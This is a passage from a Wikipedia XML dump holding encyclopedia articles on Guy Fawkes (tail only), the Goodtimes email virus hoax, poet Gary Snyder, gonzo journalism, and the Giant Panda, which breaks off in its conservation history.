''Should ever be forgot.&quot;''


On [[John Lennon]]'s solo album [[Plastic Ono Band]], Lennon sings &quot;Remember, remember, the 5th of November&quot; on the song &quot;Remember.&quot;  The lyrics are followed by the sound of an explosion.

James McTeigue's movie, ''[[V for Vendetta (film)]]'' is based on Alan Moore's graphic novel about Guy Fawkes.

== See also ==
*[[Guy_Fawkes_Night|Guy Fawkes Night]], [[Lewes#The Lewes Bonfire|Lewes Bonfire]]
*[[Bridgwater|Bridgwater Guy Fawkes Carnival]]
*[[UK topics]]
*[[Dunchurch]]

== External links ==
* [http://www.guyfawkes.me.uk  Guy Fawkes]
* [http://www.gunpowder-plot.org/fawkes.asp A biography on Guy Fawkes from the Gunpowder Plot Society]
* [http://www.bonfirenight.net/ Guy Fawkes and Bonfire Night]
* [http://www.bcpl.net/~cbladey/guy/html/verse.html Guy Fawkes Day Sayings and Chants]
:: An extensive set of rhymes, often known as Bonfire &quot;prayers&quot; or &quot;chants&quot;, which vary by community and location.
* [http://www.bcpl.net/~hutmanpr/fawkestheater.html Guy Fawkes and the Theatre]
* [http://www.bcpl.net/~cbladey/guy/html/maina.html Site of the Center for Fawkesian Pursuits]
* [http://www.gunpowderplot.parliament.uk/ British parliament's Web site to commemorate the 400th anniversary of the plot]
* [http://www.parliament.uk/faq/gunpowder_plot.cfm#gun7 Parliament (Official Site) FAQ on Gunpowder Plot]
* [http://www.britannia.com/history/g-fawkes.html Britannia on Fawkes]
* [http://www.st-peters.york.sch.uk/history/guyfawkes.htm York in the time of Guy Fawkes] – A walking trail exploring the Gunpowder Plot and its historical context
* http://www.innotts.co.uk/asperges/fawkes/index.html


[[Category:1570 births|Fawkes, Guy]]
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[[Category:People executed for treason|Fawkes, Guy]]
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  <page>
    <title>Goodtimes virus</title>
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      <text xml:space="preserve">The '''Goodtimes Virus''' was a [[computer virus]] hoax that spread during the early years of the [[Internet]]'s popularity. Warnings about a computer virus named '''&quot;Good Times&quot;''' began being passed around among Internet users in [[1994]]. The Goodtimes virus was supposedly transmitted via an [[email]] bearing the subject header &quot;Good Times&quot; or &quot;Goodtimes,&quot; hence the virus's name, and the warning recommended deleting any such email unread.  The virus described in the warnings did not exist, but the warnings themselves, were, in effect, virus-like.

==History==
Email warnings about the Good Times virus first showed up on November 15, 1994.   The first message was brief, a simple five sentence email with a holiday greeting, advising recipients not to open email messages with subject &quot;GOOD TIMES!!&quot;, as doing so would ruin their files.   Later messages became more intricate.  The most common versions -- the &quot;[[Infinite loop]]&quot; and &quot;[[ASCII buffer]]&quot; editions -- were much longer, containing descriptions of what exactly Good Times would do to the computer of someone who opened it, as well as comparisons to other viruses of the time, and references to an [[FCC]] warning.
 
==Purported effects==

In the longer version of the Good Times warning contained descriptions of what Good Times was capable of doing to computers.   In addition to sending itself to every email address in a recipients received or sent mail, the Good Times virus caused a number of other nasty things to happen.  If an infected computer contained a hard drive, it would most likely be destroyed.  If Goodtimes was not stopped in time, an infected computer would enter an &quot;nth-complexity infinite binary loop,&quot; (a meaningless term) damaging the processor.   The &quot;ASCII&quot; buffer email described the mechanism of Good Times as a [[buffer overflow]].

==A hoax -- or a &quot;thought virus&quot;?==

The Good Times virus warning was a [[hoax]]; there was never any such virus.  Indeed, at the time when the warning first appeared it was not technically feasible to write a virus that could transmit itself automatically via email.  At least, not a virus that depended solely upon the computer for transmission—the Good Times virus warning was itself viral, in a sense; it urged the recipient to forward copies of itself to all of his or her acquaintances, preying upon vulnerabilities in the human psyche to replicate itself.  Some email servers were actually crashed by the sheer volume of Goodtimes virus warnings being forwarded by users throughout [[1995]].  

Some people who were familiar with the hoax also forwarded the e-mail, followed immediately by an empty e-mail with the &quot;Good Times&quot; subject header to fool people further.

==Hoaxes similar to Good Times==
A number of [[List of computer virus hoaxes|computer virus hoaxes]] appeared in the wake of Good Times.   These messages were similar in form to Good Times, warning users not to open messages bearing particular subject lines. Subject lines mentioned in these emails include: &quot;Penpal greetings&quot;[http://www.symantec.com/avcenter/venc/data/penpal.html], &quot;Free Money&quot;[http://securityresponse.symantec.com/avcenter/venc/data/freemoney.html], and &quot;Deeyenda&quot;[http://securityresponse.symantec.com/avcenter/venc/data/deeyenda.html].

==Viruses that function like Good Times==
Developments in mail systems, such as [[Microsoft Outlook]], without sufficient thought as to the security implications made viruses that indeed propagate themselves via email possible.  Notable examples include the [[Melissa worm]] and the [[Anna Kournikova virus]].  In some cases, a user must open a document or program contained in an email message in order to spread the virus, but in others, merely opening an email message itself will trigger the virus.

==Good Times parody: Bad Times==
The Good Times virus even spawned a humorous [[parody]], the [[Bad times virus|Bad Times virus]].  The Bad Times virus was capable of a number of things far beyond Good Times' wildest dreams.  For instance, Bad Times &quot;will leave the toilet seat up and leave your hair dryer plugged in dangerously close to a full bathtub&quot;.

==External links==
* Good Times Virus Hoax FAQ [http://www.cityscope.net/hoax1.html]

[[Category:Internet memes]]</text>
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      <text xml:space="preserve">[[Image:Snyder_riprap_cvr.jpg|frame|Young Gary Snyder, on one of his early book covers]]
'''Gary Snyder''' (born [[May 8]], [[1930]]) is an [[United States poetry|American]] [[poet]],  essayist, lecturer, and [[environmentalism|environmental activist]].  As a poet, he has often been associated with the [[Beat Generation]].  Since the 1970s, he has frequently been described as the 'laureate of [[Deep Ecology]]'.  His work in these various roles reflects his immersion in both [[Buddhism|Buddhist]] spirituality and nature.  Snyder has also translated works into English from ancient Chinese and modern Japanese.  As a social critic, Snyder's views share something in common with [[Lewis Mumford]], [[Aldous Huxley]], [[Karl Hess]], [[Aldo Leopold]], and [[Karl Polanyi]].  An award-winning writer, Snyder was for many years in the faculty of the [[University of California]] at Davis, and for a time served on the California Arts Council. 

==Early life==
Gary Sherman Snyder was born in [[San Francisco, California]] to Harold and Lois Snyder.  His family, impoverished by the [[Great Depression]], moved to [[Kitsap County]] [[Washington]] when he was two, where they tended a small dairy and made cedar-wood shingles, until they moved to [[Portland, Oregon]] ten years later. 

At the age of seven, an accident laid the boy up for four months. “So my folks brought me piles of books from the Seattle public library,” Snyder recalled in interview, “and it was then I really learned to read and from that time on was voracious — I figure that accident changed my life.  At the end of four months, I had read more than most kids do by the time they're 18. And I didn't stop.”

But as well, during his ten childhood years in Washington, Snyder became aware of the presence of Coast Salish people and developed an interest in American Native peoples in general and their traditional relationship with nature.

Snyder's parents separated and, in adolescence, Gary and his sister were raised by Lois, who worked during this period as a newspaper journalist. One of Gary's boyhood jobs was as a newspaper copy boy. Also during his teen years, he worked as a camp counsellor, and went mountain climbing with the Mazamas youth group. Climbing remained an interest of his, especially during his twenties and thirties.

In 1947, he started attending [[Reed College]] as a scholarship student. Here he met, and for a time roomed with, [[Philip Whalen]] and [[Lew Welch]]. At Reed, Snyder published his first poems in a student journal. He also spent a summer working as a seaman (an experience he was to repeat in the mid 1950s); as much as a way to earn money and experience other cultures in port cities, this work served to put him in more touch with the oceans or aspects of the [[hydrosphere]]. In 1951, he graduated with a [[Bachelor's degree|BA]] in [[Anthropology]] and literature and spent the summer working as a timber scaler in the Warm Springs Indian Reservation, experiences which formed the basis for some of his earliest published poems (including &quot;A Berry Feast&quot;), later collected in the book ''The Back Country''. Snyder worked the next year as a fire lookout for a national-park area.  He also encountered the basic ideas of [[Buddhism]] and, through its arts, some of the [[Far East]]'s traditional attitudes toward nature. Going on to [[Indiana University Bloomington|Indiana University]] to study anthropology (where Snyder also practiced self-taught Zen meditation), he left after a single semester to return to San Francisco and to 'sink or swim as a poet'.

==The Beats==
Back in San Francisco, Snyder lived with Whalen, who shared his growing interest in [[Zen Buddhism]]. Snyder's reading of the writings of [[D.T. Suzuki]] had in fact been a factor in his decision not to continue as a graduate student in anthropology, and in 1953 he enrolled with the [[ University of California, Berkeley]] to study Oriental culture and languages. Snyder continued to spend summers working in the forests and one summer as a trail builder in Yosemite.  He spent some months in 1955 living in a cabin in Mill Valley with [[Jack Kerouac]].  It was also at this time that Snyder was an occasional student at the American Academy of Asian Studies, where [[Saburo Hasegawa]] and [[Alan Watts]], among others, were teaching.

Snyder met [[Allen Ginsberg]] when the latter sought Snyder out on the recommendation of [[Kenneth Rexroth]]. This period provided the materials for Kerouac's novel ''[[The Dharma Bums]]''.  It is sometimes  said, with good reason, that Kerouac portrayed the main characters in his early novels as loving a dionysian life with more chaos in it than the norm of the era.  As the large majority of people in the Beat movement had urban backgrounds, writers like Ginsberg and Kerouac found Snyder, with his backcountry and manual-labor experience and interest in things rural, a refreshing and almost exotic individual. [[Lawrence Ferlinghetti]] later referred to Snyder as 'the Thoreau of the Beat Generation'.

Snyder read his poem &quot;A Berry Feast&quot; at the famous [[Six Gallery reading|poetry reading at the Six Gallery]] in San Francisco ([[October 7th]] [[1955]]) that heralded what was to become known as the [[San Francisco Renaissance]]. This also marked Snyder's first involvement with the Beats, although he was not a member of the original New York circle, but rather entered the scene through his association with Kenneth Rexroth.

As recounted in Kerouac's ''Dharma Bums'', even at age 25 Snyder felt he could have a role in the fateful future meeting of West and East. Snyder's first book, ''Riprap'', which drew on his experiences as a forest lookout and on the trail crew in Yosemite, was published in 1959.

==Japan==
Independently, a number of the Beats such as [[Philip Whalen]] had become interested in Zen, but Snyder was one of the more serious scholars of the subject among them. He, in fact, became a trainee, spending most of the period between 1956 and 1968 in Japan, studying Zen first at Shokoku-ji and later in the Daitoku-ji monastery in Kyoto, then finally living for a while with a group of other people on a small, volcanic island. His previous study of written Chinese assisted his immersion in the Zen tradition (with its roots in [[Tang Dynasty]] China) and enabled him to take on certain professional projects while he was living in Japan.

Snyder decided not to become a monk and planned eventually to return to the United States to 'turn the wheel of the dharma'.  He was married for a few years to another American poet, [[Joanne Kyger]], who lived with him in Japan. 

During this time, he published a collection of his poems from the early to mid '50s, ''Myths &amp; Texts'' (1960), and ''Six Sections from Mountains and Rivers Without End'' (1965). (This last was the beginning of a project that he was to continue working on until the late 1990s.) Much of Snyder&amp;#8217;s poetry expresses experiences, environments, and insights involved with the work he has done for a living: logging, fire lookout, steam-freighter laboring, translation of texts, carpentry, and life on-the-road presenting his poetry, among other such subjects.

Ever the participant-observer, during his years in Japan Snyder not only immersed himself in Zen practice in monasteries but also was initiated into [[Shugendo]], a form of ancient Japanese [[animism]].  (See also [[Yamabushi]].)  As well, in the early '60s he travelled for some months through India with wife Joanne and [[Allen Ginsberg]].  Snyder and Joanne Kyger separated soon after the travel in India, and were later divorced.

He continued to educate himself – on subjects like [[geomorphology]] and [[forestry]]. These sorts of interests have probably surfaced as much or more in his essays and interviews as in his poetry.

Snyder lived for a time with a group of Japanese back-to-the-land drop-outs on Suwanose (a small Japanese island in the East China Sea), where they beachcombed, gathered edible plants, and fished.  On the Island, he married Masa Uehara, the mother of Snyder's two sons.

In 1968 his book ''The Back Country'' appeared, again mainly a collection of poems stretching back over abiut 15 years.  Snyder devoted a section at the end of the book to his translations of 18 poems by Miyazawa Kenji (died 1933).  Toward the end of the '60s, Snyder and his wife moved to the [[San Francisco Bay Area]] where their second son was born.  In 1971 they moved onto rural land in the [[Sierra Nevada (US)|Sierra Nevada]] mountains of Northern California, where they and friends built a house — that drew on rural-Japanese and Native-American architectural ideas.

==Later life and writings==
''Regarding Wave'' — a stylistic departure offering poems that were more emotional, metaphoric, and lyrical — appeared in 1969.  In the late 1960s and after, the content of Snyder's poetry increasingly had to do with family, friends, and community. He continued to publish poetry throughout the 1970s, much of it reflecting his re-immersion in life on the American continent and his involvement in the re-inhabitation (or [[back to the land]]) movement in the Sierra foothills. His 1974 book ''Turtle Island'', titled after the aboriginal name for the North American continent, won the [[Pulitzer Prize for Poetry]].

Snyder also wrote numerous essays setting forth his views on poetry, culture, social experimentation, and the environment. Many of these were collected in ''Earth House Hold'' (1969), ''The Old Ways'' (1977), ''The Real Work'' (1980), ''The Practice of the Wild'' (1990), ''A Place in Space'' (1995), and ''The Gary Snyder Reader'' (1999).  In 1979, Snyder published ''He Who Hunted Birds in His Father's Village: The Dimensions of a Haida Myth'', based on his Reed thesis.  Snyder's journals from his travel in India in the mid 1960s appeared in 1983 under the title ''Passage Through India''.

In interviews and in articles about him, Snyder provided much food for thought, starting back in the mid 1960s.  In these, his wide-ranging interests in cultures, natural history, religions, social critique, contemporary America, and hands-on aspects of rural life, as well as his ideas on literature, were given full-blown articulation.  In 1967, for instance (in a taped round-table discussion in the ''[[San Francisco Oracle]]''), Snyder's friend Alan Watts brought up the world problem posed by the population explosion.  Snyder's comment was the &quot;change or bend of mind that seems to be taking place in the West, today especially, is going to result — can result ultimately  — in a vast leisure society in which people will voluntarily reduce their number.&quot;  It was a prediction that would prove accurate.

In the 1980s and ’90s, he expressed a lot of these sorts of ideas in public lectures and in essays, including ones published in major outdoor and environmental magazines (and later collected in books).

In 1985, Snyder became a professor in the writing program at the [[University of California, Davis]]. Here he began to influence a new generation of authors interested in writing about the Far East.  Snyder is now professor emeritus of English.

As Snyder's involvement in environmental issues and his teaching grew, he seemed to move away from poetry for much of the 1980s and early 1990s. However, in 1996 he published the complete ''Mountains and Rivers Without End'', which, in its mixture of the lyrical and epic modes celebrating the act of inhabitation on a specific place on the planet, is both his finest work and a summation of what a re-inhabitory poetic stands for.  This work was written over a 40-year period.  It has been translated into Japanese and French. In 2004 Snyder published ''Danger on Peaks'', his first collection of new poems in twenty years. 

Along the way, Gary Snyder was awarded the Levinson Prize from ''Poetry'' journal, the American Poetry Society Shelley Memorial Award (1986), was inducted into the [[American Academy of Arts and Letters]] (1987), and won the 1997 Bollingen Prize for Poetry.

==Snyder's poetics==
Gary Snyder uses mainly common speech patterns as the basis for his lines, though his style has been noted for its &quot;flexibility&quot; and the variety of different forms his poems have taken.  He does not typically use conventional meters nor intentional rhyme.  &quot;Love and respect for the primitive tribe, honour accorded the Earth, the escape from city and industry into both the past and the possible, contemplation, the communal&quot; – such, according to Glyn Maxwell, is the awareness and commitment behind the specific poems (Maxwell in &quot;the Online Companion to the ''Anthology of Modern American Poetry''&quot;).

Snyder has always maintained that his personal sensibility arose from his interest in Native Americans (“Indians”) and their involvement with nature and knowledge of it; indeed, their “ways” seemed to resonate with his own.  And he has sought something kindred to this through Buddhist practices, Yamabushi initiation, and other experiences and involvements.  However, since youth he has been quite literate, and he has written about his appreciation of writers of similar sensibilities, like [[D.H. Lawrence]], [[W.B. Yeats]], and some of the great ancient Chinese poets.  [[William Carlos Williams]] was another influence, especially on Snyder’s earliest published work.

&quot;I have some concerns that I'm continually investigating that tie together [[biology]], [[mysticism]], [[prehistory]], general [[systems theory]],&quot; Snyder once said in interview (''New York Quarterly'' &quot;Craft Interview,&quot; 1973).  Besides 'non-human nature', sexuality is something often expressed or contemplated in Gary Snyder's poetry.  A self-admitted and somewhat famed ladies' man through most of his life, Snyder has also been married four times.

Aside from content and style, Snyder's interests in anthropology and Native cultures, along with his [[Buddhism]] and [[environmentalism]], have formed his ''attitude'' to [[poetry]]. He has often spoken of the poem as work-place, and, for him, the work to be done there is learning to be in the world.

Snyder argues that poets, and humans in general, need to adjust to very long timescales, especially when judging the consequences of their actions. His poetry examines the gap between nature and culture so as to point to ways in which the two can be more closely integrated.

== Is Gary Snyder “a Romantic”? ==
Many people would say that poetry, inherently, is ”[[romanticism|romantic]].”  Certainly there are many aspects of Gary Snyder’s work that might smack of romanticism, ''besides'' just that he writes poetry: his love of the untamed wilds of the Earth and the play of natural forces; his interest in, and often enthusiasm for, foreign cultures and his devotion to ancient things; his belief in the importance of intuition in his life path; his openness to the validity of magic and “the unexplained.”  Deeply interested in primitive or tribal peoples, Snyder seemed so sympathetic to them in his writings of the 1970s that he seemed scarcely able to imagine bullies, selfish individuals, or spiteful miscreants as ever having lived among them.

The &quot;re-tribalization&quot; of the modern world envisioned by [[Marshall McLuhan]], with all of the ominous, dystopian possibilities that McLuhan warned of — and subsequently accepted by many modern intellectuals — is not the future that Snyder expects or works toward.  Snyder's is a positive interpretation of the tribe and of the possible future.

Be these things as they may, in Snyder’s work what some of his critics may deem romanticism is balanced by an evident devotion to facts, appreciation of human practicality and capability, expressions of joy found in physical work, interest in science, and continual rumination on responsibility.

==Is Gary Snyder &quot;a Beat&quot;?==

Gary Snyder is widely regarded as a member of the [[Beat Generation]] circle of writers: he was one of the poets that read at the famous ''Six Gallery'' event mentioned above, and was 
written about in one of Kerouac's most popular novels, ''Dharma Bums''.  Some critics argue that Snyder's connection with the Beats is exaggerated and that he might better be regarded as a member of the West-Coast group the [[San Francisco Renaissance]], which developed independently.  Snyder himself has some reservations about the label &quot;Beat,&quot; but does not appear to have any strong objection to being included in the group.  He often talks about the Beats in the first person plural, referring to the group as &quot;we&quot; and &quot;us&quot;.  

A quotation from a 1974 interview at the University of North Dakota Writers Conference (published in ''The Beat Vision''):

:&quot;... I never did know exactly what was meant by the term &quot;The Beats,&quot; but let's say that the original meeting, association, comradeship of Allen [Ginsberg], myself, Michael [McClure], Lawrence [Ferlinghetti], Philip Whalen, who's not here, Lew Welch, who's dead, Gregory [Corso], for me, to a somewhat lesser extent (I never knew Gregory as well as the others) did embody a criticism and a vision which we shared in various ways, and then went our own ways for many years. ...

:&quot;Where we began to come really close together again, in the late '60s, and gradually working toward this point, it seems to me, was when Allen began to take a deep interest in Oriental thought and then in Buddhism which added another dimension to our levels of agreement; and later through Allen's influence, Lawrence began to draw toward that; and from another angle, Michael and I after the lapse of some years of contact, found our heads very much in the same place, and it's very curious and interesting now; and Lawrence went off in a very political direction for awhile, which none of us had any objection with, except that wasn't my main focus.  It's very interesting that we find ourselves so much on the same ground again, after having explored divergent paths; and find ourselves united on this position of powerful environmental concern, critique of the future of the individual state, and an essentially shared poetics, and only half-stated but in the background very powerfully there, a basic agreement on some Buddhist type psychological views of human nature and human possibilities.&quot;

==References==
{{Wikisource author}}
* ''Gary Snyder: Dimensions of a Life'', edited by Jon Halper, 1991
*Snyder, Gary. 1980. ''The Real Work: Interviews &amp; Talks 1964-1979''. New Directions, New York. ISBN 0-8112-0761-7 (hbk); ISBN 0-8112-0760-9 (pbk)
* Autobiographical notes in ''Mountains and Rivers Without End'', by Gary Snyder, 1996
* “Chronology” (c.v. for Gary Snyder) in ''The Gary Snyder Reader'', 1999
* “The ''East-West'' Interview” by Peter Barry Chowka in ''The Real Work'', by Gary Snyder, 1980
*[http://wwwenglish.ucdavis.edu/faculty/snyder/snyder.htm Gary Snyder at the UC Davis English Department]
*[http://www.english.uiuc.edu/maps/poets/s_z/snyder/snyder.htm Gary Snyder at Modern American Poetry]
*[http://www.heureka.clara.net/art/snyder.htm Essay about Gary Snyder and Deep Ecology]
*[http://www.nvbooks.nevada.edu/books.asp?ID=2222 Anthony Hunt, &quot;Genesis, Structure, and Meaning in Gary Snyder's 'Mountains and Rivers Without End'.&quot; Detailed, book length commentary on Gary Snyder's &quot;Mountains &amp; Rivers Without End&quot;]
*Aronowitz, Al  &quot;The Dharma Bum,&quot; Chapter 14, ''The Beat Papers of Al Aronowitz''
*Knight, Arthur Winfield. Ed. ''The Beat Vision'' (1987) Paragon House.  ISBN 0-913729-40-X; ISBN 0-913729-41-8 (pbk) This includes an interview with Gary Snyder conducted by James McKenzie on March 19, 1974 at the University of North Dakota Writers Conference.

==External links==
*Lannan Foundation, Wendell Berry and Gary Snyder 2001 (see Wendell berry entry for link)
*[http://wiredforbooks.org/garysnyder/ 1991 audio interview with Gary Snyder by Don Swaim of CBS Radio - RealAudio]
*[http://www.neonalley.org/snyder.html Blue Neon Alley - Selected Poems, Quotes and Directory]
*[http://www.shambhalasun.com/Archives/Features/1996/May96/Snyder.htm Shambala Sun article &quot;The Wild Mind Of Gary Snyder&quot; by Trevor Carolan] 
[[Category:1930 births|Snyder, Gary]]
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[[Category:Beat writers|Snyder, Gary]]
[[Category:Buddhists|Snyder, Gary]]
[[Category:Autodidacts|Snyder, Gary]]
[[Category:American anarchists|Snyder, Gary]]
[[Category:Members of The American Academy of Arts and Letters|Snyder, Gary]]
[[Category:American poets|Snyder, Gary]]
[[Category:University of California, Davis|Snyder, Gary]]

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      <comment>avoid redir</comment>
      <text xml:space="preserve">{{journalism}}
'''Gonzo journalism''' is a [[journalist]]ic style, most famously used by [[Hunter S. Thompson]]. The term [[gonzo]] was first applied to Thompson's writing in 1970 by [[Bill Cardoso]], a ''[[Boston Globe]]'' reporter who claimed the word had originated with the [[Irish people|Irish]] in [[South Boston, Massachusetts|South Boston]] to describe the last man standing at the end of an all-night drinking marathon. Central to gonzo journalism is the notion that journalism can be more truthful without strict observance of [[Journalistic standards|traditional rules of factual reportage]]. The best work in the genre is characterized by a [[novel]]istic twist added to reportage, with usual standards of accuracy subordinated to catching the [[mood]] of a place or event. The reporter and the quest for information are central, with other considerations taking a back seat.

Gonzo journalism is an extension of the [[New Journalism]] championed by [[Tom Wolfe]], [[Lester Bangs]], and [[George Plimpton]]. &quot;I don't get any satisfaction out of the old traditional journalist's view&amp;mdash;'I just covered the story. I just gave it a balanced view,'&quot; Thompson said in an interview for the online edition of ''[[The Atlantic]]''. &quot;Objective journalism is one of the main reasons American [[politics]] has been allowed to be so corrupt for so long. You can't be objective about [[Richard Nixon|Nixon]].&quot; 

In Thompson's work, the author's viewpoint is frequently distorted by consumption of [[recreational drugs|drugs]] and [[alcoholic beverage|alcohol]] (often noted in the article), but gonzo journalism is not about using drugs and alcohol. It has been said that it can and may have been used to support drug and alcohol usage with the premise of writing about an experience.

In literary terms, &quot;gonzo&quot; has been described by [[Douglas Brinkley]] as requiring virtually no re-writing, frequently employing scribbled notes, transcribed interviews, and verbatim telephone conversations.  Other writers who have worked in &quot;gonzo&quot; mode include [[P. J. O'Rourke]], [[James Corkern]] and [[Tucker Max]]. 

==See also==
* [[Gonzo]]
* [[Social Beat]]
* ''[[Transmetropolitan]]''
* &quot;[[The Kentucky Derby is Decadent and Depraved]]&quot;, first incarnation of a gonzo article
* [[The eXile]]

==External links==

[[Category:Newswriting]]
[[Category:Journalism genres]]
[[Category:Journalism ethics]]

[[da:Gonzo-journalistik]]
[[de:Gonzo-Journalismus]]
[[fr:Journalisme gonzo]]
[[pt:Jornalismo gonzo]]
[[ru:Гонзо-журналистика]]
[[sv:Gonzojournalistik]]</text>
    </revision>
  </page>
  <page>
    <title>Giant Panda</title>
    <id>12713</id>
    <revision>
      <id>41961371</id>
      <timestamp>2006-03-02T22:21:13Z</timestamp>
      <contributor>
        <ip>208.191.162.29</ip>
      </contributor>
      <comment>/* Pandas in zoos */</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Giant Panda
| status = {{StatusEndangered}}
| image = Panda.jpg
| image_width = 250px
| image_caption = Hua Mei, the baby panda born at&lt;br /&gt;the [[San Diego Zoo]] in 1999.
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[mammal|Mammalia]]
| ordo = [[Carnivora]]
| familia = [[Ursidae]]
| genus = '''''Ailuropoda'''''
| genus_authority = [[Henri Milne-Edwards|Milne-Edwards]], 1870
| species = '''''A. melanoleuca'''''
| binomial = ''Ailuropoda melanoleuca''
| binomial_authority = ([[Armand David|David]], [[1869]])
}}

The '''Giant Panda''' ('''''Ailuropoda melanoleuca''''' &quot;black-and-white cat-foot&quot;) is a [[mammal]] now usually classified in the [[bear]] family, [[Ursidae]], native to central and southern [[China]]. [http://www.panda.org/about_wwf/what_we_do/species/showspeciespnd.cfm?SID=24&amp;LID=1&amp;FH=E ]

The Panda's main food is [[bamboo]], but they may eat other foods such as [[honey]]. Easily recognizable through its large, distinctive black patches on the eyes, ears and on its rotund body, the Giant Panda is one of the most [[endangered]] animals in the world: an estimated 1,600 pandas live in the wild and some 160 live in captivity, according to a 2004 census. [http://www.panda.org/news_facts/newsroom/news.cfm?uNewsId=13641&amp;uLangId=1]

==General information==
The Giant Panda lives in [[mountain]]ous regions, such as [[Sichuan]] and [[Tibet]]. The Giant Panda is the symbol of the [[World Wildlife Fund]] (WWF), a [[conservation biology|conservation]] organization. Since the latter half of the [[20th century]], the panda has become an informal [[national emblem]] for [[China]], and its image is found on many Chinese [[gold coin]]s. 

Despite being [[taxonomy|taxonomically]] a [[Carnivora|carnivore]], the panda has a [[diet (nutrition)|diet]] that is overwhelmingly [[herbivore|herbivorous]]. The Giant Panda eats [[shoot]]s and [[leaf|leaves]], living almost entirely on [[bamboo]]. Pandas are also known to eat [[egg (food)|eggs]], the occasional fish, and some [[insect]]s along with their bamboo diet. These are necessary sources of [[protein]]. Some zoos also feed their pandas specially formulated biscuits, fruitsicles or other treats to supplement their bamboo intake. 

For many decades the precise taxonomic classification of the panda was under debate as both the Giant Panda and the distantly related [[Red Panda]] share characteristics of both bears and [[raccoon]]s. However, [[genetics|genetic testing]] has revealed that Giant Pandas are true bears and part of the Ursidae family. Its closest bear relative is the [[Spectacled Bear]] of [[South America]]. (Disagreement remains about whether or not the Red Panda belongs in Ursidae; the raccoon family, [[Procyonidae]]; or in its own family, Ailuridae.)

Giant Pandas are an [[endangered species]], threatened by continued [[habitat loss]] and by a very low birthrate, both in the wild and in captivity. About 1,600 are believed to survive in the wild. Poaching is uncommon; killing a panda was punishable in China by death until a 1997 law changed the penalty to 20 years imprisonment.

The Giant Panda has an unusual [[paw]], with a &quot;[[thumb]]&quot; and five fingers; the &quot;thumb&quot; is actually a modified [[sesamoid bone]]. [[Stephen Jay Gould]] wrote an essay about this, then used the title ''The Panda's Thumb'' for a book of collected essays. The Giant Panda has a short tail, approximately 15&amp;nbsp;cm long.

The Giant Panda has long been a favourite of the public, at least partly on account of the fact that the species has an appealing baby-like [[cuteness]] that makes it seem to resemble a living [[teddy bear]].  The fact that it is usually depicted reclining peacefully eating bamboo, as opposed to hunting, also adds to its image of innocence. Though the Giant Panda is often assumed docile because of their cuteness, they have been known to attack humans, usually assumed to be out of irritation rather than predatory behavior.

Giant Pandas can usually live to be 20-30 years old while living in captivity.

== Natural history ==
No fossils of pandas have been found earlier than a few million years ago. However, [[DNA]] analysis of the Giant Panda compared with other bears shows a very early split from the main bear lineage 18 or 15 million years ago. That was about the time when the &quot;dawn bear&quot; (''Ursavus'') roamed the subtropics of [[Europe]]. Like a subtropical mammal, the Giant Panda does not hibernate. [[Fossil]]s from [[Pleistocene]] sites throughout East Asia prove the success of the Giant Panda. In the Lang Trang [[cave]]s of northern [[Vietnam]], fossils of pandas were found, far away from the typical mountain forests where pandas are found presently. Other fossils have been found as far south as Thailand and Burma, going as far north as where [[Beijing]] stands today. Fossils also show a second [[extinct]] panda species. This species, ''Ailuropoda minor'', was half the size of the modern Giant Panda. 

According to a paper published in [[2002]], the genome of the panda shows evidence of a severe [[population bottleneck]] which took place about 43,000 years ago&lt;sup&gt;&lt;small&gt;[[population bottleneck#Notes|1]]&lt;/small&gt;&lt;/sup&gt; and the age of the most recent common ancestor of the current panda populations is estimated to be 43,000 years before present.

== Uses and conservation history ==
[[Image:Lightmatter panda.jpg|thumb|right|250px|Gao Gao, an adult male Giant Panda at San Diego Zoo]]
Unlike many other animals in [[Ancient China]], pandas were rarely thought to have medical uses. The only considered medical use was probably of panda urine, to melt needles accidentally swallowed in the throat. In the past, pandas were thought to be rare and noble creatures; the mother of [[Emperor Wen of Han]] was buried with a panda skull in her tomb. [[Emperor Taizong of Tang]] was said to have given [[Japan]] two pandas and a sheet of panda skin as a sign of goodwill. Panda skin was considered a sign of courage afterwards, and thus pandas became a target for poachers.

The Giant Panda was first made known to the West in [[1869]] by the [[France|French]] [[missionary]] [[Armand David]], who received a skin from a hunter on [[11 March]] 1869. The first westerner known to have seen a living Giant Panda is the German zoologist [[Hugo Weigold]], who purchased a cub in [[1916]]. [[Kermit Roosevelt|Kermit]] and [[Theodore Roosevelt, Jr.]] became the first foreigners to shoot a panda, on an expedition funded by the [[Field Museum of Natural History]] in the 1920s. In 1936, [[Ruth Harkness]] became the first Westerner to bring back a live Giant Panda, a cub named Su-Lin who went to live at the Brookfield Zoo in Chicago. These activities were halted in [[1937]] because of wars; and for the next half of the century, the West knew little of the pandas. 

[[Image:Babypanda.jpg|thumb|right|250px| A baby Giant Panda atop a tree San Diego Zoo]]
Because of the [[Second Sino-Japanese War]] and the [[Chinese Civil War]] afterwards, foreigners were unable to poach pandas in China, but pandas remained a source of soft furs for the locals. The population boom in China after [[1949]] created stress on the pandas' habitat, and the subsequent famines led to the increased hunting of wildlife, including pandas. During the [[Cultural Revolution]], all studies and conservation activities on the pandas were stopped. After the [[Chinese economic reform]], demands for panda skin from [[Hong Kong]] and Japan led to illegal poaching for the [[black market]], acts generally ignored by the local officials at the time.

Though the [[Sichuan]] Wolong Reserve was set up by the PRC government in [[1958]] to save the declining pandas, few advances in the conservation of pandas were made, due to inexperience and insufficient knowledge in ecology. Many believed that the best way to save the pandas was to cage them, and as a result, the pandas were caged for any sign of decline, and they suffered from terrible conditions. Because of pollution and destruction of their natural habitat, along with segregation due to caging, reproduction of wild pandas was severely limited. In the [[1990s]], however, several laws (including gun controls and moving residents out of the reserves) helped the chances of survival for pandas. With the ensued efforts and improved conservation methods, wild pandas have started to increase in numbers in some areas.

Loans of Giant Pandas to [[United States|American]] and Japanese zoos formed an important part of the [[diplomacy]] of the [[People's Republic of China]] in the [[1970s]] as it marked some of the first cultural exchanges between the PRC and the West. This practice has been termed &quot;[[Panda diplomacy|Panda Diplomacy]]&quot;.

By the year [[1984]], however, pandas were no longer used as agents of diplomacy. Instead, China began to offer pandas to other nations only on 10-year loans. The standard loan terms include a fee of up to [[United States dollar|US$]]1,000,000 per year and a provision that any cubs born during the loan are the property of the People's Republic of China. Since [[1998]], due to a WWF [[lawsuit]], the [[U.S. Fish and Wildlife Service]] only allows a U.S. [[zoo]] to import a panda if the zoo can ensure that China will channel more than half of its loan fee into [[conservation movement|conservation]] efforts for wild pandas and their habitat.

